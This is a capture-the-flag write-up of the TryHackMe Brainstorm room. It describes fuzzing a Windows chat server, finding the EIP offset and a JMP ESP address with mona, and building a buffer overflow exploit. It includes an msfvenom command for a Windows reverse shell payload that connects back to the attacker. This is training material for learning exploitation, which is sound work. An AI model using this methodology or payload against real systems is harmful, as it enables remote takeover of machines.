TryHackMe – Brainstorm

This is my writeup for the TryHackMe Brainstorm room. The goals of this room are to reverse engineer a chat program running on a Windows machine and write an exploit to gain root access. It’s recommended to complete the previous buffer overflow exercises. I just finished the Buffer Overflow room so I felt reasonably prepared to attempt this room. I followed the same methodology I used in the Buffer Overflow Prep room. I reused the Python scripts from that room and made some of my own quality-of-life modifications and made updates as necessary to fit this engagement. The GitHub for my scripts is at https://github.com/hungryrussian/bufferoverflowtoolkit.

Starting out, I ran an nmap scan against the target host with the -F switch to scan only the common ports. It came back with 3 open ports but that was flagged as an incorrect answer, so I scanned the full range but there were no additional ports open, either TCP or UDP. I eventually found the answer THM wanted but it did not match the current machine environment.

The nmap ftp-anon script showed that anonymous access was enabled. I tried connecting from my local Kali VM through the VPN but it wouldn’t pass traffic after the initial login. I suspect the VPN firewall rules were blocking traffic on these high ports. From the FTP header and the open RDP port 3389, I can confirm that we’re working with a Windows target machine (Microsoft FTP Service).

I wound up having to use the THM AttackBox to download the files, and then transfer them via web to my local Windows VM to work on crafting the exploit.

I launched Immunity Debugger and attached the chatserver.exe file downloaded from the target. Using netstat, we see it’s running on port 9999 just like on the target machine.

I connected to port 9999 on my Windows VM to explore the program. It appeared to be a simple program that accepts a username as input and then takes a second input (the “message”) and echoes it back to the terminal with the current date and time.

I first manually tried attacking the username but it appears to have input validation and truncates any characters over the limit. This works to my advantage because I want to fuzz the message function that stays running in a loop after the username selection.

1: Spiking

Still on my Kali VM, I used the generic_send_tcp function from the Spike toolkit to fuzz the application. I used a simple spike script since chatserver.exe didn’t have a /help option to show what commands were available. I was able to get an overflow and overwrite the EIP with 41s:

Perfect, now that there’s proof of a buffer overflow, I can start working on an exploit.

2: Fuzzing

I had to modify my fuzzing script because I needed to send a username first and then fuzz the second input. Fuzzing crashed sending the 2200 byte buffer, which means the 2100 byte payload was too large and crashed the application. So somewhere between 2000-2100 bytes is where we need to be.

3: Finding the Offset

I generated a cyclical pattern of 2200 bytes with the Metasploit Framework Ruby script and added that to my 3offset script. Executing the script crashed the application again. Recording the EIP offset found in Immunity, I was able to use that to identify the offset at 2012 bytes.

4: Overwriting the EIP

I confirmed the offset was correct by running the 4overwrite script to place ‘B’*4 into the EIP. Immunity showed the EIP with exactly 4 B’s in the register so I knew my offsets are correct and I’m placing the right bytes into the right register.

5: Finding Bad Chars

My 5badchars script runs every hex character against the program to see if any of them are used to call a function internally in the program. If one does, I can’t use that in my payload because it’ll jump out of my shellcode and break the exploit. A quick run of the bad chars check script returned no bad characters. This room appears to be a fairly straightforward buffer overflow so I wasn’t expecting any but had to confirm it.

6: Finding a Module

The next step was to identify a module used by the program without memory protections enabled that I could leverage in the exploit. I already had Mona installed on my Windows VM but when I tried to launch !mona modules from Immunity Debugger, I received an “ImportError: DLL load failed: %1 is not a valid Win32 application.”

A quick Google search showed it was due to an x64 Python conflict with Immunity. I checked and had both x86 and x86 versions of Python2 installed on my VM. After uninstalling the x64 Python and unblocking the mona.py file again, I was able to run !mona modules in Immunity.

Mona found that the essfunc.dll module used by chatserver.exe is not using any memory protections so I can utilize that for the exploit.

The final exploit is going to follow the pattern:

<nop>*<offset count> + <JMP ESP address> + <nop padding> + <overflow shellcode>

So far I have the first part: "\x90"*2012. If I can find a JMP ESP address that’s accessible, I can write my shellcode onto the stack and then use the JMP ESP command to jump back to that and execute my shellcode, theoretically giving me a shell on the target.

Mona can also help find all the JMP ESP references in the essfunc.dll. Running the following command in Immunity will locate all the JMP ESP instances in the given module:

!mona find -s "\xff\xe4" -m essfunc.dll

Testing this next step is a bit convoluted for a novice buffer overflow-er. In a clean launch of Immunity and open of chatserver.exe, run the program with the red play button or F9. Click the first blue button in the toolbar after the last red button, “Goto address in Disassembler” and enter the expression of the first memory address found by Mona for JMP ESP. In my case, the first address on the list was 0x625014DF so I entered that in.

That will find and highlight that address in the CPU window (upper left corner window). It should read FFE4 JMP ESP for the assembly code. Either hit F2 or right-click the address > Breakpoint > Toggle. This will highlight the address in teal. Now when we run the program and if it hits this point, it’ll suspend the program and we’ll know we’re on the right track. Because the exploit is no good if we can’t force the program to execute it.

I ran my 6module script with the first address from Mona and it hit the breakpoint first try! Now I have my address identified.

7: Shellcode and Exploit Crafting

The last step is to generate the exploit shellcode and put everything together. MSFvenom can generate the reverse shell hex code with this command:

msfvenom -p windows/shell_reverse_tcp LHOST=<kali IP> LPORT=<kali port> EXITFUNC=thread -f c -a x86 -b "\x00"

I updated my 7exploit script with the generated shellcode and vulnerable module JMP ESP address found in step 6. With everything prepped, I relaunched Immunity, executed the exploit script, and got a shell on my waiting netcat listener!

It works on the local network, now to update it for the THM box and try it again. I ran the msfvenom payload with my VPN IP and plugged that into the script. With a new listener running, I executed the payload and caught the shell again. With NT\AUTHORITY\SYSTEM privileges, I can read the flag file and complete the room.

References:

https://github.com/corelan/mona/issues/36